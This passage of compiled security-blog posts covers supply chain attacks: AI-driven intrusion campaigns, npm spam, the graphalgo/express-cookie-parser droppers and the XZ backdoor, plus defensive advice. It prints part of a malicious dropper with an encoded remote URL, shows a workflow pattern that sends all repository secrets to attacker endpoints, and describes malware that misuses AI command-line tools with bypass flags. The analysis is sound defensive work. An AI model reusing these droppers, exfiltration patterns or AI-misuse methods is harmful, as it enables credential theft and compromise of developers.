Anthropic detected the campaign through anomalous usage patterns indicating systematic intrusion behavior.

They banned associated accounts, notified affected organizations, coordinated with authorities, and integrated attack patterns into broader safety controls.

Supply Chain Implications

Every technique demonstrated here transfers directly to package ecosystems.

AI could autonomously discover vulnerable maintainers, generate malicious packages, and orchestrate registry-wide attacks at machine speed.

The barrier has dropped from “team of expert cybercriminals” to “operator who understands AI prompting.”

Need a real-world example of AI conscription for cyberattacks?

Read ShadowRay 2.0: Attackers Turn AI Against Itself in a Global Campaign,

where adversaries used Ray’s orchestration features (“the Kubernetes of AI”) to run a global cryptojacking botnet that spread autonomously across exposed Ray clusters.

Another example:

S1ngularity attack, exploiting the same pull_request_target issue mentioned earlier.

It detects locally installed AI CLI tools (Claude, Gemini, Q with bypass flags) and uses them for reconnaissance.

From telemetry.js payloads, prompts included things like this.

Infrastructure Abuse: Large-Scale Package Spam Campaigns

In addition to malware-distributing packages, the open-source ecosystem faces infrastructure abuse through spam campaigns that flood registries with thousands of packages.

DevOps for cybercrime is common: attackers routinely use SCMs and registries for OSINT, distributing malware stages, extracting secrets, and maintaining C2.

But these platforms can also be abused for non-malicious purposes.

While not traditionally malicious, such campaigns consume registry resources, pollute search results, and erode trust.

Two significant examples demonstrate this trend: IndonesianFoods (exploiting contributor rewards) and the Elves campaign (red-team testing gone rogue).

IndonesianFoods: TEA Protocol Exploitation

The primary motivation was financial fraud through exploitation of the TEA Protocol —

a blockchain-based system designed to compensate open-source developers.

Attackers published thousands of interconnected packages containing tea.yaml files linking to their Ethereum wallets, forming circular dependency networks to inflate contribution metrics.

Automated scripts published ~12 packages per minute with randomly generated Indonesian names and food terms.

One package README even boasted about TEA token earnings, confirming the financial motive.

The campaign spanned ~44,000 packages — over 1% of npm — and persisted nearly two years.

Circular dependencies meant installing one package could pull in hundreds of spam packages.

Search results degraded, trust in package metrics eroded, and registry bandwidth and storage were heavily consumed.

Although TEA protocol abuse was documented in April 2024, systematic removal didn’t occur until November 2025, revealing critical gaps in registry abuse detection.

The episode undermined confidence in blockchain-backed funding models and exposed how easily reward systems can be gamed.

Elves Campaign: Automated Infrastructure Testing

The elves campaign in December 2025 emphasized infrastructure abuse rather than malicious intent.

Package descriptions referenced “capture the flag challenge” and “testing” (including French text:

“Package généré automatiquement toutes les 2 minutes”), suggesting origins in security research or CTF exercises.

Packages followed consistent elf-stats-* naming with seasonal themes.

Some contained trivial reverse shells (simple bash one-liners), so unsophisticated they appeared designed only for detection testing rather than genuine exploitation.

The operational tempo — one package every 2 minutes across multiple accounts — tested npm’s rate limiting and abuse detection capabilities.

The campaign demonstrated that automated flooding can persist for hours or days before intervention, consuming storage, bandwidth, and moderation resources.

Most importantly, it signaled to other threat actors that automated flooding attacks are feasible, potentially inspiring future abuse campaigns.

New Tactics, Techniques, and Procedures (TTPs)

TTP	Technique	Impact	Detection
Autonomous Propagation Through Credential Reuse	After harvesting npm tokens, GitHub credentials, or registry API keys, malware enumerates all packages owned by the compromised maintainer and injects malicious payloads into new versions.	One compromised token can infect dozens or hundreds of packages within hours. Each new victim becomes a propagation point for additional spread.	Monitor for sudden bursts of package publications from single maintainers, especially with suspicious postinstall hooks or large binary additions.
Multi-Layer C2 Infrastructure with Blockchain Immutability	Primary C2 uses blockchain transactions (Solana, Ethereum) with memo fields containing encoded payload URLs. Secondary C2 leverages Google Calendar, Pastebin, or GitHub Gists as backup channels.	Traditional takedown approaches fail—blockchain transactions cannot be removed, and legitimate service abuse is difficult to distinguish from normal use.	Monitor for unusual blockchain RPC queries from developer machines. Track calendar or paste-site connections from build environments.
Invisible Code Injection via Unicode Stealth	Malicious JavaScript encoded with Unicode variation selectors and zero-width characters that don’t render in editors but remain executable.	Code review becomes ineffective; developers see blank lines while interpreters execute hidden malware.	Scan for unprintable Unicode characters, especially variation selectors or zero-width joiners. Analyze byte-level content, not rendered code.
GitHub Actions as Exfiltration Infrastructure	Workflows with `${{ toJSON(secrets) }}` serialize all repository secrets and POST them to attacker-controlled endpoints.	Complete secret theft disguised as CI/CD activity, with traffic from GitHub’s trusted IP ranges.	Scan workflows for `toJSON(secrets)`. Monitor external HTTP POST requests and new workflow additions without PRs or commit history.
Hybrid RAT Deployment in Dev Environments	Full RAT capabilities (SOCKS proxy, VNC, WebRTC P2P) on developer workstations. Targets development credentials and internal networks.	Developers become pivots for source code, pipelines, and cloud infrastructure access.	Detect unexpected proxy or VNC processes, WebRTC connections, and BitTorrent DHT activity from dev machines. Enforce strict egress filtering.
Dependency Chain Infection	Malicious packages depend on other attacker-controlled packages, forming recursive chains.	Installing one malicious dependency can introduce dozens more; cleanup is complex.	Analyze dependency graphs for circular or random patterns. Enforce lockfile-only installs to prevent uncontrolled dependency resolution.

Defensive Posture

The era of self-propagating supply chain worms has arrived.

Defense requires automation, vigilance, and architectural controls that assume compromise rather than hoping for detection.

Every package installation is a potential infection vector.

Every credential is a propagation mechanism.

The question is no longer whether attacks will occur, but how quickly you can detect and contain them.

Defending against worm-like malicious packages requires shifting from reactive scanning to proactive prevention and continuous monitoring.

Pipeline Controls

Enforce lockfile-only installs (npm ci, yarn install --frozen-lockfile) to prevent automatic dependency updates and ensure strict version pinning.
Implement pre-install scanning of packages and full dependency trees, blocking malicious packages before execution.
Block packages with suspicious traits: oversized bundles, obfuscation, or unexpected install hooks.
Require code review for dependency additions and updates.

Credential Management

Minimize token scope — publishing tokens should target only specific packages.
Use short-lived tokens with automatic rotation.
Never store tokens in source code or environment variables.
Use dedicated CI accounts with minimal privileges.

Detection and Monitoring

Track publishing patterns and alert on unusual bursts from single maintainers.
Monitor GitHub Actions for secret serialization patterns (toJSON(secrets)).
Detect workflow additions performing external HTTP requests.
Flag new public repositories with encoded or suspicious content.
Watch for unexpected proxy, VNC, or blockchain RPC activity from developer machines.

Incident Response

Treat any execution of suspicious install hooks as full compromise.
Assume all tokens on compromised hosts are stolen — rotate immediately.
Rebuild affected CI/CD runners from clean images.
Audit all packages owned by compromised accounts for malicious versions.
Check for persistence in GitHub workflows and repository settings.

AI vendors often say any tool can be used for good or evil.

AI systems cannot entirely prevent dual use, but they can impose friction and improve forensic visibility.

The real design question is not “can AI be abused?” but “how much friction can we add without harming legitimate utility?”

One fact remains: jailbreaking today’s AI systems is far too easy.

Analysis of malicious prompts in recent attacks shows that LLM non-determinism extends to their guardrails.

Emerging ideas for AI security include strong origin authentication, trustworthy content isolation, and policy-aware external controls (with MCP and similar protocols now entering the landscape).

Only time will tell whether AI becomes the next weapon for large-scale OSS attacks.

About the Author

Written by Luis Rodríguez,

Co-Founder and CTO at Xygeni Security.

Luis is a physicist, mathematician, and CISSP with over 20 years of experience in software security.

He has led major security initiatives across SAST, SCA, and advanced code-analysis technologies.

Today, he focuses on software supply chain security, combining deep research with hands-on engineering to help teams defend modern DevSecOps pipelines from emerging threats.

A Closer Look at Software Supply Chain Attacks 2025: PyPI & npm Campaigns Compared

Luis Manuel Rodriguez Berzosa — Mon, 25 Aug 2025 13:00:00 +0000

Xygeni recently observed a concerning pattern in the landscape of software supply chain attacks in 2025, emerging across two popular package managers: PyPI and npm.

As part of our ongoing threat intelligence efforts, Xygeni's Malware Early Warning (MEW) tool identified a distinct but methodologically similar instance of a malicious package uploaded to another registry previously.

This case highlights how threat actors are evolving and reusing attack techniques across ecosystems, especially through malicious Python packages and malicious npm packages, which increases the risk of malicious packages infiltrating open source supply chains.

Xygeni's MEW: Spotting the Similarities

Xygeni's MEW tool is built to detect and flag malicious packages, especially those linked to Software Supply Chain Attacks in 2025, as soon as they are published to open-source registries. It works by analyzing new packages for suspicious behavior.

In this instance, it identified two malicious Python packages (graphalgo on PyPI) and malicious npm packages (express-cookie-parser on npm).

Malicious Python and npm Packages in Software Supply Chain Attacks (2025)

Let’s explore the shared characteristics that triggered our alerts:

Typosquatting

They both tried to impersonate popular existing packages:

graphalgo (PyPI): “Python package for creating and manipulating graphs and networks.” Uploaded by a user named "larrytech" on June 13, 2025, this package presented itself as a PyPI alternative to the original non-malicious graphalgo project, which was later renamed graphdict.
express-cookie-parser (npm): This package imitated the well-known cookie-parser package, even mirroring its README.md. Such impersonation is a classic tactic to leverage existing trust.

Obfuscation as a First Line of Defense

Both packages obfuscated their malicious code within the original files.

For graphalgo, the obfuscated code was found within /utils/load_libraries.py.
In the case of express-cookie-parser, cookie-loader.min.js contained the obfuscated payload.

The obfuscation method was simple: repeated ZLib compression plus Base64 encoding. This clearly indicates concealment.

Xygeni MEW classified these as potential malware. During review, a deobfuscation script revealed the obviously malicious dropper stage.

Multi-Stage Payload Delivery and a Shared Origin Point

Both packages functioned as initial droppers, setting the stage for the real payload.

They shared a common external seed file URL:

This identical external seed file is a strong indicator of a shared threat actor. The file appears to contain environment variables (e.g., JWT_SECRET, PORT), misleading casual inspection.

Dynamic C2 Resolution with a DGA

A sophisticated tactic observed is the use of a Domain Generation Algorithm (DGA) to resolve the C2 server dynamically.

This technique, often seen in advanced supply chain attacks in 2025, relies on a SHA256 hash derived from the seed file’s content, combined with other hardcoded values.

In this case, the npm variant used a fixed value of:

Establishing Persistence

Both attackers dropped persistent startup scripts:

startup.py (PyPI)
startup.js (npm)

These were placed into Google Chrome user data directories across OSes (Windows, Linux, macOS).

Post-Execution Cleanup

Both malicious scripts performed cleanup operations:

Deleting initial dropper files (load_libraries.py, cookie-loader.min.js)
Modifying legitimate package files (__init__.py, index.js) to remove traces

Indicators of Compromise in Malicious Python and npm Packages

PyPI Package: graphalgo (published by larrytech, June 13, 2025)
npm Package: express-cookie-parser (specifically version 1.4.12)
Shared Seed URL:
Persistent Filenames: startup.py (Python), startup.js (JavaScript)
Common Paths:
- Windows: AppData\Local\Google\Chrome\UserData\Scripts\
- Linux: ~/.config/google-chrome/Scripts/
- macOS: ~/Library/Application Support/Google/Chrome/Scripts/

How to Defend Against Malicious Packages in Software Supply Chain Attacks 2025

A Recommended Approach for Developers

This case shows how malicious Python packages and malicious npm packages can slip into trusted ecosystems. Early detection, tooling, and proactive hygiene are key.

Dependency Review

If your projects included these, remove them:

For PyPI: pip uninstall graphalgo
For npm: npm uninstall express-cookie-parser

System Hygiene

Run full scans and manually check Chrome user data directories for startup.py or startup.js.

Proactive Security Measures

Assess New Dependencies: Thoroughly review new packages before integrating them.
Integrate Security Tools: Use solutions like Xygeni’s MEW and SCA tools.
Least Privilege: Apply least privilege to development environments.
Network Awareness: Monitor outbound connections for DGA-based C2 traffic.

Key Components of `load_libraries.py` (from graphalgo)

python
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

Highlighted functions:

download_remote_content() – Fetches files from URLs.
run_process() – Executes scripts discreetly.
get_output_file_path() – Finds location for persistent startup.py.
remove_self() – Cleans up malicious files after execution.
simple_shift_encrypt() / simple_shift_decrypt() – Custom obfuscation for C2 comms.
load_libraries() – Orchestrates multi-stage execution.

Aftermath

As with other malicious packages flagged by MEW, Xygeni’s dependency firewall immediately protected users. After confirmation, both registries were notified and the packages were removed.

XZ Backdoor: “That was a close one”

Luis Manuel Rodriguez Berzosa — Wed, 20 Aug 2025 22:00:00 +0000

A nefarious or compromised maintainer inserted malicious behavior in a library named liblzma, part of the xz compression tools and libraries, resulting in a backdoor in SSH. This is an advanced software supply chain attack as the library was intentionally modified for the backdoor, with obfuscation and stealth techniques for hiding the attack payload from reviewers.

It was discovered and disclosed recently (on past Mar 29th), and the attack handling is ongoing. However, it was quickly contained as it seems to affect only pre-release versions of a limited set of environments (DEB and RPM packages, for the x86_64 architecture, and built with GCC). Anyway, the CVE was given a CVSS base score of 10, which is reserved for the most critical cybersecurity vulnerabilities. Should it enter stable distributions, the impact would be overwhelming.

The technical analysis of the attack, including the xz backdoor explained in depth, was analyzed elsewhere. This post will focus on the timeline of the attack, how it could be detected, how the incident was handled up to date, and what lessons may be extracted from the attack.

How the XZ backdoor was injected

Note: The git repository is in git.tukaani.org. However, there was also a GitHub hosted repository (currently blocked) where the GitHub account was posting the changes that were later integrated into the Git repository.

One portion of the backdoor seems to be only in the distributed tarballs for the 5.6.0 and 5.6.1 versions, not in the git repositories and relies on a single line in the build-to-host.m4 macro file used by autoconf.

The other portion was in two supposed testfiles:

bad-3-corrupt_lzma2.xz
good-large_compressed.lzma

These were committed by the GitHub account “Jia Tan” (JiaT75) in the xz repository on 23 Feb. It was an innocuous change adding testfiles (supposedly .lzma and .xz compressed blocks). Interestingly enough, the test files were not used by the tests!

The line in the .m4 file injects an obfuscated script (included in the tarball) to be executed at the end of configure if some conditions match. It modifies the Makefile for the liblzma library to contain code that extracts data from the .xz file, which after deobfuscation ends in this script, invoked at the end of configure.

It decides whether to modify the build process to inject code: only under GCC and the GCC linker, under Debian or rpm, and only for x86_64 Linux. When matched, the injected code intercepts execution by replacing two ifunc resolvers so certain calls are replaced. This causes the symbol tables to be parsed in memory (this takes time, which led to the detection, as explained later).

Then things get interesting: The backdoor installs an audit hook into the dynamic linker, waiting for the RSA_public_decrypt function symbol to arrive, which is redirected to a point into the backdoor code, which in turn calls back libcrypto, presumably to perform normal authentication. And the payload activates if the running program has the process name /usr/sbin/sshd. It was clear that SSH servers were the target.

Traditionally, sshd servers like OpenSSH were not linked with liblzma, but sshd is often patched to support systemd-notify so other services can start when sshd is running. And then liblzma is indirectly loaded by systemd, closing the circle.

The backdoor is not yet fully analyzed, but it seems to be allowing remote command execution (RCE) with the privileges of the sshd daemon, running in a pre-authentication context. Info from the remote certificate, when matched by the backdoor, is decrypted with ChaCha20, and when it decrypts successfully it is passed to the system(). So this is essentially a gated RCE, much worse than a mere public key bypass.

A later 5.6.1 tarball showed additional efforts to hide the traces, adding further obfuscation for symbol names, and trying to fix the errors seen. An extension mechanism where additional test files were looked for certain signatures to add to the backdoor was also put in place.

This fairly sophisticated attack could pass unnoticed until stable Linux distributions are reached. Fortunately, some people like to check why abnormal things happen.

The Discovery of the XZ Backdoor Attack

Many times injected malicious behavior is unearthed by chance or accident. A good example was a deprecation warning (“Who cares about warnings?”) that led to the discovery of the event-stream attack in Oct 2018. Another is the user who warned Codecov in April 2021 that their bash uploader script did not pass the checksum.

Anomalies and odd symptoms with ssh logins (logins taking a lot of CPU and increased elapsed time, valgrind errors) aroused the curiosity of Andres Freund, a vigilant PostgreSQL developer but not a security analyst (as he stated). After some investigation with OpenSSH on Debian Sid, he concluded that a response time problem relied on a library, liblzma, part of the xz-utils compression library. The reason: “the upstream xz repository and the xz tarballs have been backdoored”.

On Mar 29 2024 Andres posted in Openwall the first analysis: “backdoor in upstream xz/liblzma leading to ssh server compromise”.

The fact: XZ Utils 5.6.0 and 5.6.1 tarballs contain a backdoor. These tarballs were created and signed by the aforementioned Jia Tan account.

He posted in Mastodon later that day, recognizing that the discovery was accidental and required a lot of coincidences. The comments from other users are worth reading.

GitHub user thesamesam (aka Sam James) published a nice Gist FAQ on the xz-utils backdoor where the attack was summarized, linking into more in-depth analyses of the attack payload.

These analyses were technically juicy, and helped us to better understand the injection, which was highly elaborated:

xz/liblzma: Bash-stage Obfuscation Explained – Nice analysis on the deobfuscation by the injection script, in four “stages”.
Filippo Valsorda's bluesky thread – Analysis of the backdoor itself in RSA_public_decrypt, which shows its nature: an RCE, not auth bypass, and gated.
XZ Backdoor Analysis by @smx-smx (WIP)
xz backdoor documentation wiki

This poster from Thomas Roccia shows part of the activity of JiaT75 on the GitHub repository, and how the injection script inserts the binary backdoor, further illustrating the xz backdoor explained.

How the incident was handled

Disclosure by Andreas Freund was cautious because, in his own words:

“Given the apparent upstream involvement, I have not reported an upstream bug. As I initially thought it was a debian specific issue, I sent a more preliminary report to security@...ian.org. Subsequently, I reported the issue to distros@. CISA was notified by a distribution.”

Red Hat assigned this issue CVE-2024-3094. Then the word circulated like wildfire.

Lasse Collin, the other maintainer for XZ, added a new commit on Sat 30 Mar titled “CMake: Fix sabotaged Landlock sandbox check”. He promptly disclosed the issue in the XZ Utils backdoor advisory.

CVE references: CVE-2024-3094 | MITRE | NVD | Ubuntu.

CISA on Mar 29th released an alert recommending downgrade to 5.4.6.

GitHub repositories under the Tukaani org were disabled. The GitHub accounts JiaT75 and Larhzu were suspended.

Vendors reacted quickly with Yara rules, detections in tools like Sysdig and PAN.

We are now in the Eradication and Recovery phase. Other projects by JiaT75 (e.g. libarchive, oss-fuzz) are under review.

Who is under the attack?

Either the GitHub JiaT75 account was compromised (GitHub recently mandated 2FA) or the user behind the account turned malicious. Evidence points to a possible APT, given sophistication.

Discussion on Hacker News sheds more light.

Was the XZ backdoor attack preventable?

Extremely difficult:

Injected in unused test files
Hidden in tarball macro files
Hard to verify provenance automatically
Commits looked legitimate until evidence piled up

Some commits trying to “fix valgrind crashes” (example) were actually exploit fixes.

Probably the best prevention was Linux distro release staging, preventing quick spread to stable.

Lessons Learned from XZ Backdoor Attack

Backdoors = internal threat risk
Attacks bypass normal reviews
Audit build systems, not just source
Provenance for binary artifacts still unsolved

As Kevin Beaumont said:

“When the upstream is tainted, everyone drinks poisoned water downstream.”

The early discovery limited the impact. As in Men in Black III: “That was a close one.”

✍️ Originally published at Xygeni.io Blog

Protecting Against Open Source Malicious Packages: What Does (Not) Work

Luis Manuel Rodriguez Berzosa — Tue, 29 Jul 2025 12:14:59 +0000

This is the third episode in a series of articles about the most prevalent kind of software supply chain attacks: those that abuse a public registry of open-source software components. After analyzing in the previous episode “Anatomy of Malicious Packages: What Are the Trends?” how the bad actors inject malicious behavior into new or existing published components, we are ready to put on our firefighting jackets and examine how we can successfully block malicious software delivered this way, or alternatively, deal with a potentially serious cyber incident because we took the wrong approach.

Most security-aware professionals have ideas about how to handle this threat. We have heard security managers saying without hesitation that SCA tools already tell you when a package version is malware. Or that they depend on well-known, highly reviewed software components, where any malware would be promptly detected and removed. They use open minor/patch versions for automatically getting vulnerability fixes, and that is the proper, recommended way to lower the risk on open source dependencies, following the “patch early, patch often” principle.

In this episode, we will review why these ideas are wrong, and how such misconceptions are contributing to the popularity of this attack mechanism, and to an overwhelming risk that organizations are experiencing. We will end with what does work, and which is the effort and resources involved.

Common Misconceptions

During our journey with software security, we saw the attack techniques evolving and a wide range of ideas from security-conscious people. Organizations often misunderstand what works against this threat, so first we will examine what does not work, condensed in the following, not exhaustive, list of misconceptions.

Misconception #1: SCA tools already report malicious components

Indeed! But after the fact… When probably it is too late if the element was used in a software build, and the bad actors have already gained a foothold in a developer or CI/CD host. Secrets might have been exfiltrated, additional malware downloaded and installed, and perhaps the adversary moved laterally and already gained access elsewhere.

Software Composition Analysis (SCA) tools were designed to identify potential known vulnerabilities. Modern tools do a great job by augmenting the signal-noise ratio, determining if the vulnerability is actually reachable or exploitable. But they are useless against new malware. Think of a malicious component as a zero-day vulnerability: Only when its malicious behavior is detected, the component is reported to the holding registry, which after a review by a security team is confirmed as malicious and removed from the registry [1].

At that point, the world (including SCAs) knows that installing or using the component (or some version(s) of an existing component) is not a good thing. But this is when the component is not available from the registry. Knowing that I have vulnerabilities in third-party components, or even components that were categorized as malicious by the registry is good, but unfortunately SCA or common audit tools do not help in this context. Unless the SCA/audit tool can really know in advance that a component is malicious before it is used at your organization.

Remember, any solution against malicious open-source components must detect them on-the-fly, between when the component is published in the registry and when the component (version) is first used at your organization. And that includes transitive components.

Misconception #2: Controlling installation scripts at build time prevents malicious behavior from open-source components

Various package managers offer the ability to run scripts (included in the component tarball [2]), for legitimate reasons, such as compiling required items on different platforms, generating code, or running tests, and we should all know that they can be abused by bad actors if malicious scripts are included in the tarball, or if the attacker can make a malicious script run instead of the good one.

Knowing this, we can configure the package manager to ignore scripts. For example, with NPM the --ignore-scripts flag (or a configuration property in the .npmrc file) skips the scripts during installation. This may produce some issues because running scripts is common in many ecosystems: Some package managers do not even permit disabling script execution (hint: prompt “Which package managers do not permit disabling the execution of install scripts?” in your favorite AI). But this does not protect in general (we need to enforce that the skip disable configuration is everywhere).

And when the malicious behavior is not located in install scripts but in the software to execute at runtime, this option alone does not protect us.

Misconception #3: Version pinning prevents malicious components from being installed

There is a tradeoff between patching early and often with open versions (letting the package manager automatically install new updates when available for security fixes) and version pinning (having all the direct and transitive dependencies for a software at a fixed version). The security principles are stubborn and sometimes contradictory, as happens with “patch early, patch often” and “upgrading should not be taken lightly”.

Some package managers make automatic updates with server ranges the recommended way. Great if you also want to receive the malicious updates! Yes, components must be updated to receive security fixes that close vulnerabilities as soon as possible, but … never let the package manager do this automatically.

Misconception #4: Using trusted components is safe. Any malicious version would be promptly found, disclosed and removed.

Why is a component trusted? Possibly because it is highly popular, with many eyeballs looking for vulnerabilities, a large number of contributors for maintenance, with multiple core maintainers who diligently review all pull requests. The reality is quite different. Some essential components are maintained by a single, unpaid developer. Widely used frameworks have a few regular contributors, with a quickly decreasing number of commits per maintainer (popular projects have a long tail of contributors that perform some drive-by commit and never come back). And popular projects with a single maintainer abound.

Imagine yourself saying “Oh, we are using Spring Boot / Angular / React / PyTorch / official base Docker images, so the risk you are talking about is pretty low.” Perhaps that is true, we security vendors scare-mongering all the time, and interfering with development teams to mitigate a debatable risk is nonsense. You might be tempted to jump to the risk acceptance paragraph (in the next section) and all done. Unfortunately, the most popular components are targets for bad actors, and for example, the popular PyTorch library was attacked in the past.

“Promptly found, disclosed, and removed”. It takes days for a new malicious component to be removed from the public registry. Registries are cautious about removing a component version, for the good. Our experience is that once reported from our side, the median time for the registry to remove the affected version is 39 hours, more than a day and a half. There are malicious components that are a week after our initial reporting in the registry before removal. And in some cases, the component is removed only after a victim or an incident response company reports an incident involving the component.

What Does NOT Work Against Malicious Components

Any unspecific approach will fail miserably. This is a certainty, you are not providing effective countermeasures for the risk associated with this threat.

Traditional SCA tools tell you about known malware but have a large exposure window. Unless they are proactively performing malware detection with enforced blocking of malicious components, they do not work against this threat.

Disabling installation scripts could help but needs to be enforced everywhere a component needs to be installed. Same with version pinning, as versions cannot be pinned from a safe initial state forever.

Assuming that popular components get enough attention that they cannot be injected with unintended behavior in a supply chain attack without an almost instantaneous detection to prevent any damage is naive and risky. You don’t want to live on the edge, do you?

If you stop at this point, then risk acceptance is the only thing you can do: This is a decision that needs to be documented in your threat model/risk assessment, including the rationale for accepting the risk and its potential implications. Raise awareness by communicating it to management and other relevant parties. Some contingency could be planned when a malicious component is installed or included in your software, but this is hard because attackers have many paths to follow. The details of a supply chain attack based on the use of a malicious component will drastically change the public disclosure of the incident, which probably is mandatory under your organization’s regulatory framework. You may also address compensating controls or transfer risk e.g. with insurance.

However, there are controls that address the threat and should be considered if you are not satisfied with risk acceptance. Please read on.

What Does Work Against Attacks Using Malicious Components

Solid Version Handling

Version pinning with controlled and informed version bumps is the way to go, to balance the need for removing vulnerabilities without receiving malware. But remember misconception #3: Version pinning alone does not suffice to block malicious code coming from new versions, because you will need in the future to update versions in any direct or indirect dependency. At that moment you need evidence strong enough that all modified versions do not contain malware.

Early Warning

One approach to the problem of malicious components is an early warning system (named here as Malware Early Warning or MEW), where new versions published (for new or existing components) are analyzed by a detection engine, which when enough evidence is found may classify the new version as potentially malicious.

Automation is essential here, as it is impossible to manually review all the new components at the current publishing rate. So the detection engine needs to combine a variety of techniques, perhaps including static, dynamic, and capability analysis, user reputation, and evidence coming from discrepancies between the component metadata and the tarball contents, or between tarball and the source repository where the component supposedly comes from.

There is a dark zone between the publishing time and when the engine analyzes the component contents, but it should not exceed a few minutes. The scheme can be modified, for example by waiting for new components to be analyzed before allowing them to be installed and used in the software build pipelines, or analyze them on demand when needed. A component at a given version is immutable [3], so it needs to be analyzed only once.

Full automation is not possible, and a security review for potentially malicious components is needed. Beware of digital panacea proponents: AI and Machine Learning are not developed enough to take the last word when it comes to confirming if a suspect component has malware. Sure, machine learning plays a key role in the detection engine in classifying the input component from the raw evidence captured, but once the component is “quarantined” the final word is on the manual review by a security team with experience in malicious components. This confirms any potential malware or re-classifies it as safe. And the time period is in the hours range.

The registry reports on the malicious version/component; the registry then performs its review to confirm and proceeds to public disclosure and removal from the registry. Some registries keep a security holding package. The time range here is the days or weeks since the publication, which is the ‘dwell time’ or ‘exposure window’ for most malicious components.

Is it possible to know if a component version is malicious?

So for early warning, we need to give a satisfactory answer to this question: How can I know that a library or package is (not) malicious? How to gather enough evidence of malicious behavior? Possible, but difficult, as the adversaries use much ingenuity to avoid detection. There are different approaches, each with pros and cons.

Static analysis can examine all execution paths, check for techniques used by attackers without running the component, and perform preprocessing tasks like de-obfuscation or deciphering. As attackers try to hide their mischief, obfuscation attempts are indeed evidence of malware (but note that legit components obfuscate code for preserving intellectual property, contradicting “open source”). Only a minority of highly sophisticated attacks with strong obfuscation need sandboxing, but such strong obfuscation is a tell-tale sign of maliciousness. Please note that conventional SAST tools were designed for unintentional vulnerabilities, not for malicious intent like backdoors.

Dynamic analysis runs the component and examines the response by instrumenting the runtime, typically by providing a sandboxed environment. Malicious behavior triggered under certain conditions may pass undetected: please note that malware may use evasion techniques like Virtualization/Sandbox Evasion to activate only when not under scrutiny, and also a tell-tale sign of malicious activity for any static analysis engine.

Capabilities analysis considers what the component does: where it connects to, which files it accesses, which commands or programs are run, the terminal or device I/O performed, or which system calls are invoked. This fingerprinting of behavior could be compared (for an existing component) across versions, so when unexpected behavior is detected, that evidence could raise suspicion of potential malicious activity injected in the new version. This approach follows the triage steps that security analysts follow when faced with potential malware: an inspection using strings or similar tools. This approach detects malicious behavior regardless of triggering conditions and works when no source code is available.

Context analysis collects information about how the component was published and by whom. Bad actors’ campaigns often use a new user account(s) not subject to any strict vetting process. Tracking past activity may give insights into the underlying user, mostly for anomalies that may hint at a potential compromise. Reputation is so hard to earn and so easy to lose! A user with no past activity is neutral, but karma pursues the malevolent. Hacktivists, or normal users who have their publishing credentials stolen should be tracked carefully.

Another contextual information is any discrepancy between the source repository supposedly used to create the component tarball and the contents of the tarball itself. And also following good practices, like creating tags or releases in the source repository matching the versions of the component published in the public registry. When the source repository at a particular commit is tagged with release, and then suddenly one version fails to follow it, that alone is strong evidence that the component could be tainted: the bad actor might have compromised the account used for publishing the component, but has no write permissions in the source code repository). Many attacks are routinely detected using these rules: for example, the Ledger attack could be easily detected along these lines. Context analysis, therefore, identifies such anomalies in the publishing process.

Dependency Firewalling

A different approach is to have a comprehensive whitelist of components for all dependency graphs used in your software, so in any build pipeline run in your organization only approved component versions can be installed and used. The “firewall” is enforced using an internal registry where the tarballs for the allowed component versions are served (cached or proxied). Please note that any whitelist will not work unless you have the technology for classifying any new version as reasonably safe so it can be added to the whitelist.

Please note that early warning (quick detection as soon as possible after the new version publication) needs to be combined with some way to use that information proactively to block the component affecting the build pipelines or the developers’ machines [4]. We call this “dependency firewalling”: a quarantine mechanism for protecting automated builds from malicious packages. Internal packages and image registries are good to insulate organizations from outer evil, but evidence strong enough is necessary to make quarantine effective.

Runtime Sandboxing

An alternative approach for detection at publishing time is to analyze behavior at runtime. The idea is to capture the expected behavior from the software and detect (or block) any anomalies that are found. This line of action has the problem of having to instrument the runtime for monitoring or blocking, and it is a promising idea that will be added to the arsenal of protection mechanisms against the malicious component pest.

Setting a Comprehensive Strategy

The recommended strategy needs to combine different techniques in the software development process, taking control of the version updates to block incoming malicious components. We must accommodate version pinning to avoid automatic infection with updating versions to get fixes for the vulnerabilities that matter; a quick and efficient assessment of direct and indirect dependencies during version updates to have enough evidence that they are not malware-ridden. Builds of software that depend on known malicious components must be blocked. And all must be enforced.

Use version pinning, when possible, as it makes builds more reproducible. Version pinning with controlled, manually approved version bumps, and assisted by helper technology, should assess if the update brings malware or breaks the software, and reconcile updating for fixing vulnerabilities with avoiding malware infection. Tooling can help here, by (1) prioritizing which vulnerabilities really matter (reachable and exploitable, with a high risk of being targeted by attackers), (2) selecting the target versions that are compatible with the current component usages and do not break the software, (3) choosing target versions that do not contain malicious behavior, and (4) making the version update for direct and indirect dependencies a snap, by suggesting changes in the manifest files that could be quickly approved. The step (3) needs specific information about malicious components as close to their publication time as possible.

This process of updating dependencies must be enforced and verified in all places. The process must be documented, and all parties involved should be trained, as often the development and software build/deployment is externalized. The CI/CD pipelines should be modified accordingly, so automation does not allow a malicious indirect dependency to slip into the build: guardrails blocking the build if there is enough evidence of potential malware in a dependency is the recommended way to go.

If your organization has an internal registry acting as a security proxy for holding the allowed component versions, you must obtain intelligence on malicious components (besides other criteria) for vetting a requested component before adding it to the allowance list.

Consuming open-source software with safety is not easy, and the malware factor must be fully taken into account, with similar effort put into vulnerability handling.

One final note: Source provenance, in the form of software attestations, generated at the build time of the component, is another key piece in the effort to trace the artifact (component tarball) with the sources and build process that produced it. Note that this link between the source snapshot + build environment and the associated software artifact (signed by the trusted build system) does not prevent per-se that the component does not contain malicious behavior, but makes it harder for the bad guys to inject malware. And making provenance validation a common requirement for consuming open source components will take a long time, and only recently added to NPM. Making those trusted build and deploy systems tamper-proof, or enabling detection of any tampering in the build is a different story, out of the scope of this post.

Anatomy of Malicious Packages: What Are the Trends?

Luis Manuel Rodriguez Berzosa — Thu, 10 Jul 2025 08:00:00 +0000

In the previous episode, Open Source Malicious Packages: The Problem, we discussed why the threat actors were so enthusiastic about publishing new malicious components or injecting malware in the latest versions of existing components: The open source infrastructure allows anyone anywhere to create an ephemeral account in a component registry (like NPM, PyPI, Docker Hub or Visual Studio Marketplace) or collaborative development platform (like GitHub). Zero cost, and many opportunities for leveraging the excess trust that software teams traditionally have on third-party components.

